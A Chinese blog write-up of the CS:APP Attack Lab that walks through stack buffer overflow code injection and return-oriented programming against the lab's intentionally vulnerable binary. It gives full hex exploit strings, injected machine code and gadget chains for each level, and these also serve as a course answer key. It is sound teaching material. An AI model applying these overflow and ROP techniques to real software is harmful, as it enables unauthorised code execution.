深入理解計(jì)算機(jī)系統(tǒng)(CS:APP) - Attack Lab詳解

本文首發(fā)于我的博客

Attack Lab

實(shí)驗(yàn)代碼見GitHub

簡介

Attack Lab的內(nèi)容針對(duì)的是CS-APP中第三章中關(guān)于程序安全性描述中的棧溢出攻擊。在這個(gè)Lab中,我們需要針對(duì)不同的目的編寫攻擊字符串來填充一個(gè)有漏洞的程序的棧來達(dá)到執(zhí)行攻擊代碼的目的,攻擊方式分為代碼注入攻擊與返回導(dǎo)向編程攻擊。本實(shí)驗(yàn)也是對(duì)舊版本中IA32編寫的Buffer Lab的替代。

我們可以從CMUlab主頁來獲取自學(xué)者版本與實(shí)驗(yàn)講義(Writeup),講義中包含了必要的提示、建議與被禁止的操作,從這個(gè)lab開始之后的lab對(duì)講義中內(nèi)容的依賴還是很強(qiáng)的。

特別提示lab的自學(xué)者版本需要在運(yùn)行程序時(shí)加上-q參數(shù)來避免程序向不存在的評(píng)分服務(wù)器提交我們的答案導(dǎo)致報(bào)錯(cuò)

前置

講義中首先給我們展示了導(dǎo)致程序漏洞的關(guān)鍵:getbuf函數(shù)。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

getbuf函數(shù)在棧中申請了一塊BUFFER_SIZE大小的空間,然后利用這塊空間首地址作為Gets函數(shù)的參數(shù)來從標(biāo)準(zhǔn)輸入流中讀取字符。由于沒有對(duì)讀入字符數(shù)量的檢查,我們可以通過提供一個(gè)超過BUFFER_SIZE的字符串來向getbuf的棧幀之外寫入數(shù)據(jù)。

在代碼注入攻擊中就是利用函數(shù)返回時(shí)RET指令會(huì)將調(diào)用方在棧中存放的返回地址讀入IP中,執(zhí)行該地址指向的代碼。棧溢出后,我們可以改寫這個(gè)返回地址,指向我們同樣存放在棧中的指令,以達(dá)到攻擊的目的。

第一部分:代碼注入攻擊

Level1

在這個(gè)等級(jí)中,我們不需要注入任何攻擊代碼,只需要更改getbuf函數(shù)的返回地址執(zhí)行指定的函數(shù)touch1(該函數(shù)已經(jīng)存在于程序中)。

那么我們需要做的就是將棧中存放返回地址的位置改為touch1函數(shù)的入口地址,問題在于我們?nèi)绾螌⒌刂肪_地寫入到原來的地址的位置。

講義給出了getbuf的調(diào)用函數(shù):

void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

如果攻擊成功,我們不會(huì)執(zhí)行到第五行,而是跳轉(zhuǎn)到touch1中執(zhí)行:

void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

輸出上面的字符串代表我們攻擊成功。

下面我們利用objdump -d命令將程序反匯編來查看getbuf函數(shù)的行為。

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop
  4017bf:   90                      nop

代碼比較簡單,在第2行中將rsp減了0x28,申請了一塊28字節(jié)的空間,第3行將rsp賦給rdi就是空間的首地址,然后調(diào)用了Gets函數(shù),rdi就是它的參數(shù)。到這里我們可以確定BUFFER_SIZE的大小為0x28(自學(xué)講義中這個(gè)值是固定的,但是真正的實(shí)驗(yàn)中這個(gè)值是由服務(wù)器生成的)。換句話說,在0x28字節(jié)的棧被Gets函數(shù)寫滿之后,多出來的字符會(huì)被寫入getbuf函數(shù)的棧外。我們用圖來說明棧的結(jié)構(gòu):

attacklab01.png

下面是低地址,上面是高地址,在getbuf函數(shù)申請的0x28字節(jié)內(nèi)存之外的8個(gè)字節(jié)存放的就是test函數(shù)call指令后下一條指令的地址。

現(xiàn)在我們可以知道,我們需要用0x28字節(jié)來將棧填滿,再寫入touch1函數(shù)的入口地址,在getbuf函數(shù)執(zhí)行到ret指令的時(shí)候就會(huì)返回到touch1中執(zhí)行。

下面就要利用官方提供的hex2raw程序來幫助我們生成攻擊字符串,這個(gè)程序?qū)⒁钥瞻鬃址糸_表示的字節(jié)轉(zhuǎn)換成真正的二進(jìn)制字節(jié),注意這個(gè)程序只是原樣地轉(zhuǎn)換文件中的字符,所以字節(jié)序的問題是我們應(yīng)該考慮的。

最終的答案如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
c0 17 40 00 00 00 00 00

可以看到前0x28個(gè)字節(jié)都使用0x00來填充,然后在溢出的8個(gè)字節(jié)中寫入了touch1的首地址0x4017c0,注意字節(jié)序就可以了。

Level 2

這個(gè)等級(jí)中我們同樣需要跳轉(zhuǎn)到指定的函數(shù)touch2中,但是想要通過touch2需要我們進(jìn)行一些操作,講義中給出了touch2的代碼:

void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

這里cookie是服務(wù)器給我們的一個(gè)數(shù)值,存放在cookie.txt文件中,自學(xué)者材料中的這個(gè)值應(yīng)該都是一樣的。

可以看到touch2擁有一個(gè)參數(shù),只有這個(gè)參數(shù)與cookie的值相等才可以通過這一等級(jí)。所以我們的目標(biāo)就是讓程序去執(zhí)行我們的代碼,設(shè)置這個(gè)參數(shù)的值,再調(diào)用touch2完成攻擊。

首先要注意的是touch2的第一個(gè)參數(shù)存放在寄存器rdi中,我們就是要設(shè)置這個(gè)寄存器的值為cookie

那么如何讓程序去執(zhí)行我們的代碼呢?既然我們可以向棧中寫入任意內(nèi)容并且可以設(shè)置返回時(shí)跳轉(zhuǎn)到的地址,那么我們就可以通過在棧中寫入指令,再令從getbuf函數(shù)返回的地址為我們棧中指令的首地址,在指令中執(zhí)行ret進(jìn)行第二次返回,返回到touch2函數(shù),就可以實(shí)現(xiàn)我們的目的。

所以我決定將指令寫入到棧地址的最低處,然后在溢出后將地址設(shè)置為這個(gè)棧地址。我們能完成這個(gè)攻擊的前提是講義中已經(jīng)告訴我們這個(gè)具有漏洞的程序在運(yùn)行時(shí)的棧地址是固定的,不會(huì)因運(yùn)行多次而改變,并且這個(gè)程序允許執(zhí)行棧中的代碼。

我們利用gdb在運(yùn)行時(shí)查看棧地址:

attacklab02.png

停在getbuf的這里,然后查看rsp指向的地址:

attacklab03.png

可以看到首地址為0x5561dc78,順便看到第6行也就是0x28個(gè)字節(jié)之后存放的原返回地址。

由于我們需要在注入的代碼中再次返回,就需要將二次返回的地址同樣存放在棧中,這里為了避免與我們注入的代碼重疊,我選擇將touch2地址放在getbuf函數(shù)棧的最后8字節(jié)中。

下面就要生成攻擊字符串了,首先我們需要生成攻擊代碼。我們先將攻擊代碼用匯編指令的形式寫出來:

movq $0x59b997fa,%rdi # rdi = cookie
movq $0x5561dc98,%rsp # 將rsp設(shè)為存放在棧中的touch2地址的地址
ret # 讀取rsp指向的地址并跳轉(zhuǎn)

下面利用gcc -c命令將匯編語句編譯成機(jī)器碼,再objdump -d生成的文件就可以間接地看到最終的機(jī)器碼。

將指令的機(jī)器碼作為我們攻擊字符串的開頭,touch2的地址放在棧中第0x20-0x28位置,將棧的首地址放在棧外的8個(gè)字節(jié),構(gòu)成我們的攻擊字符串:

48 c7 c7 fa 97 b9 59 48 
c7 c4 98 dc 61 55 c3 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
ec 17 40 00 00 00 00 00
78 dc 61 55 00 00 00 00

Level 3

該等級(jí)同樣讓我們跳轉(zhuǎn)到touch3函數(shù)中,不過touch3函數(shù)判斷有所不同:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

仔細(xì)閱讀上面的代碼,我們需要傳入touch3的參數(shù)是一個(gè)字符串的首地址,這個(gè)地址指向的字符串需要與cookie的字符串表示相同。這里cookie的字符串表示是cookie:0x59b997faASCII表示的字符串:35 39 62 39 39 37 66 61 00

所以我們需要做的是將這串字符串放入棧中,并且將rdi的值置為字符串的首地址,再進(jìn)行與上步類似的二次返回操作。

這里我們需要好好考慮目標(biāo)字符串在棧中的位置,下面是最終結(jié)果中的棧結(jié)構(gòu),先放出來便于講解。

attacklab04.png

如果目標(biāo)字符串存放的位置比touch3存放地址更低,在最終字符串對(duì)比的時(shí)候會(huì)發(fā)現(xiàn)rdi指向地址的內(nèi)容發(fā)生了改變。分析原因,我們可以查看從getbuf返回到字符串比對(duì)過程中執(zhí)行的指令:

00000000004018fa <touch3>:
  4018fa:   53                      push   %rbx
  .
  .
  .
  401911:   e8 36 ff ff ff          callq  40184c <hexmatch>
000000000040184c <hexmatch>:
  40184c:   41 54                   push   %r12
  40184e:   55                      push   %rbp
  40184f:   53                      push   %rbx

上面列出的這部分指令都會(huì)向棧中壓入新的內(nèi)容,由于棧向下增長,而rsp一開始的位置在touch3地址的下一個(gè)位置,壓入的新內(nèi)容會(huì)覆蓋touch3地址以下的內(nèi)容,如果把目標(biāo)字符串放在這部分會(huì)導(dǎo)致內(nèi)容在比較之前就被覆蓋。

知道棧中應(yīng)該存放的內(nèi)容的結(jié)構(gòu),攻擊字符串的編寫就不再困難了:

48 c7 c7 90 dc 61 55 48 # mov    $0x5561dc90,%rdi mov    $0x5561dc88,%rsp ret 為寄存器賦值并返回
c7 c4 88 dc 61 55 c3 00
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目標(biāo)字符串
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 # 注入指令首地址

第二部分:返回導(dǎo)向編程攻擊

我們在第二部分中需要解決的同樣是第一部分的后兩個(gè)問題,只不過我們要采取不同的方式來進(jìn)行攻擊。

為什么我們之前采取的代碼注入的攻擊手段無法在這個(gè)程序中起作用呢?這是國因?yàn)檫@個(gè)程序?qū)Υa注入攻擊采取了兩種防護(hù)方式:

  • 棧隨機(jī)化,使得程序每次運(yùn)行時(shí)棧的地址都不相同,我們無法得知我們注入的攻擊代碼的地址,也無法在攻擊代碼中硬編碼棧中的地址。
  • 標(biāo)記內(nèi)存中的棧段為不可執(zhí)行,這意味著注入在棧中的代碼無法被程序執(zhí)行。

盡管這兩種手段有效地避免了代碼注入攻擊,但是我們?nèi)匀豢梢哉业椒绞阶尦绦驁?zhí)行我們想要去執(zhí)行的指令。

攻擊方式

現(xiàn)在我們無法使用棧來存放代碼,但是我們?nèi)钥梢栽O(shè)置棧中的內(nèi)容。不能注入代碼去執(zhí)行,我們還可以利用程序中原有的代碼,利用ret指令跳轉(zhuǎn)的特性,去執(zhí)行程序中已經(jīng)存在的指令。具體的方式如下:

我們可以在程序的匯編代碼中找到這樣的代碼:

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

這段代碼的本意是

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

這樣一個(gè)函數(shù),但是通過觀察我們可以發(fā)現(xiàn),匯編代碼的最后部分:48 89 c7 c3又可以代表

movq %rax, %rdi
ret

這兩條指令(指令的編碼可以見講義中的附錄)。

第1行的movq指令可以作為攻擊代碼的一部分來使用,那么我們怎么去執(zhí)行這個(gè)代碼呢?我們知道這個(gè)函數(shù)的入口地址是0x400f15,這個(gè)地址也是這條指令的地址。我們可以通過計(jì)算得出48 89 c7 c3這條指令的首地址是0x400f18,我們只要把這個(gè)地址存放在棧中,在執(zhí)行ret指令的時(shí)候就會(huì)跳轉(zhuǎn)到這個(gè)地址,執(zhí)行48 89 c7 c3編碼的指令。同時(shí),我們可以注意到這個(gè)指令的最后是c3編碼的是ret指令,利用這一點(diǎn),我們就可以把多個(gè)這樣的指令地址依次放在棧中,每次ret之后就會(huì)去執(zhí)行棧中存放的下一個(gè)地址指向的指令,只要合理地放置這些地址,我們就可以執(zhí)行我們想要執(zhí)行的命令從而達(dá)到攻擊的目的。

attacklab05.png

這樣的一串以ret結(jié)尾的指令,被稱為gadget。我們要攻擊的程序中為我們設(shè)置了一個(gè)gadget_farm,為我們提供了一系列這樣可以執(zhí)行的攻擊指令,同時(shí)我們也只被允許使用程序中start_farmend_farm函數(shù)標(biāo)識(shí)之間的gadget來構(gòu)建我們的攻擊字符串。

這種攻擊方式被稱為返回導(dǎo)向編程攻擊。

Level 2

目的與之前的Level 2相同,我們需要為rdi賦上cookie值,再跳轉(zhuǎn)到touch2函數(shù)執(zhí)行,跳轉(zhuǎn)到touch2只需要將touch2的入口地址放在最后一個(gè)gadget之后,在它的ret指令執(zhí)行之后就會(huì)返回到touch2中。

下面就要利用已有的gadgetrdi賦上我們想要的值。這里我們要將一個(gè)特定的值寫入rdi,但是我們只可以使用棧來存放這個(gè)數(shù)值,同時(shí)不知道棧的地址,這個(gè)時(shí)候我們可以想到使用pop指令令這個(gè)值從棧中彈出到寄存器中。

查看gadget中提供的我們可以執(zhí)行指令。發(fā)現(xiàn)

00000000004019a7 <addval_219>: 
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq  

中最后的字節(jié)為58 90 c3,這個(gè)三個(gè)字節(jié)分別編碼了三條指令:

popq %rax
nop
ret

這個(gè)nop在這里當(dāng)然不影響,利用這個(gè)pop指令我們就可以把棧中存放的內(nèi)容彈出到rax中。接下來我們需要的是

movq %rax,%rdi

這條指令,如果沒有的話可以多傳幾次,正好我們發(fā)現(xiàn)了

00000000004019c3 <setval_426>: 
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq   

中最后的字節(jié)48 89 c7 90 c3編碼了這樣的指令。

我們分別計(jì)算這些需要執(zhí)行的gadget的指令地址,寫成攻擊字符串:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 # 前0x28個(gè)字符填充0x00
ab 19 40 00 00 00 00 00 # popq %rax 
fa 97 b9 59 00 00 00 00 # cookie (popq的目標(biāo))
a2 19 40 00 00 00 00 00 # movq %rax,%rdi
ec 17 40 00 00 00 00 00 # 返回到 touch2

Level 3

攻擊目標(biāo)與之前的Level 3相同,需要將rdi指向cookie的字符串表示的首地址。

目標(biāo)字符串毫無疑問還是存放在棧中的,但是我們?nèi)绾卧跅5刂冯S機(jī)化的情況下去獲取我們放在棧中的字符串的首地址呢?

查看gadget_farm中提供的gadget后,我們可以發(fā)現(xiàn)可以執(zhí)行的命令中有

movq %rsp,%rax
ret

這樣一條,可以保存當(dāng)前的rsp值,但是我們面臨一個(gè)問題,這條命令執(zhí)行時(shí)rsp的值為下一個(gè)地址,如果下一個(gè)地址中存放了目標(biāo)字符串,那么命令就無法繼續(xù)執(zhí)行下去,也無法進(jìn)入touch3函數(shù)了。

除此之外,似乎沒有別的gadget可以幫助我們獲取rsp的地址了。

我在這個(gè)地方卡了好幾個(gè)小時(shí),最后在別人的提示下才發(fā)現(xiàn)gadget_farm中有這樣一個(gè)gadget畫風(fēng)與其他的不太一樣:

00000000004019d6 <add_xy>: 
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq   

這明明就是一個(gè)可以直接使用的函數(shù)!它的作用是將rdirsi中的值相加后存放在rax中。

有了這個(gè),我們就可以把rsp的值加上一個(gè)數(shù)偏移若干后表示存放目標(biāo)字符串的位置,就不會(huì)與需要執(zhí)行的指令沖突了。

同時(shí)還要注意的是,這里有些gadget藏得比較隱蔽,講義中暗示我們有一些兩字節(jié)編碼的指令實(shí)際上沒有任何影響,它們之前的指令同樣也是可以使用的。

仔細(xì)找出所有可以執(zhí)行的指令并整理之后我得出了這樣一張圖:

attacklab06.png

目標(biāo)字符串存放的位置一定在touch3地址之上(原因見前文)。

由于相加操作只能對(duì)rsirdi進(jìn)行,經(jīng)過觀察可以發(fā)現(xiàn)棧地址是一個(gè)8字節(jié)值,所以無法通過下面這條movl組成的路來傳遞,但是我們的偏移值完全可以。所以我們的思路就定下了,把rsp的值存放在rdi中,把偏移量的值通過popq指令從棧中取出放在esi中,再利用add_xy函數(shù)將它們相加的結(jié)果存放到rax再轉(zhuǎn)移到rdi中。這個(gè)偏移量是多少要等到我們的棧結(jié)構(gòu)出來之后才可以確定。

根據(jù)上面這些信息,我們可以把棧結(jié)構(gòu)示意出來:

attacklab07.png

標(biāo)注灰色的地方是我們計(jì)算偏移量的部分(從rsp讀入時(shí)開始),可以計(jì)算出偏移量為4 x 8 = 32 = 0x20,再依此計(jì)算各命令的地址、構(gòu)建出我們的攻擊字符串:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 # 前0x28個(gè)字符填充0x00
cc 19 40 00 00 00 00 00 # popq %rax
20 00 00 00 00 00 00 00 # 偏移量
42 1a 40 00 00 00 00 00 # movl %eax,%edx
69 1a 40 00 00 00 00 00 # movl %edx,%ecx
27 1a 40 00 00 00 00 00 # movl %ecx,%esi
06 1a 40 00 00 00 00 00 # movq %rsp,%rax
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
d6 19 40 00 00 00 00 00 # add_xy
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目標(biāo)字符串
00 00 00 00 00 00 00 00 

實(shí)驗(yàn)小結(jié)

Attack Lab與之前的兩個(gè)實(shí)驗(yàn)相比還是比較簡單的,但是最后一個(gè)階段確實(shí)因?yàn)樽约旱挠^察不夠細(xì)致浪費(fèi)了大量的時(shí)間。也告訴我們不要受思維定勢的左右,一味地去尋找可以使用的gadget而忽略了函數(shù)本身的作用。

這次實(shí)驗(yàn)加強(qiáng)了我對(duì)于函數(shù)調(diào)用棧,字節(jié)序,gdb使用,匯編的理解。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

推薦閱讀更多精彩內(nèi)容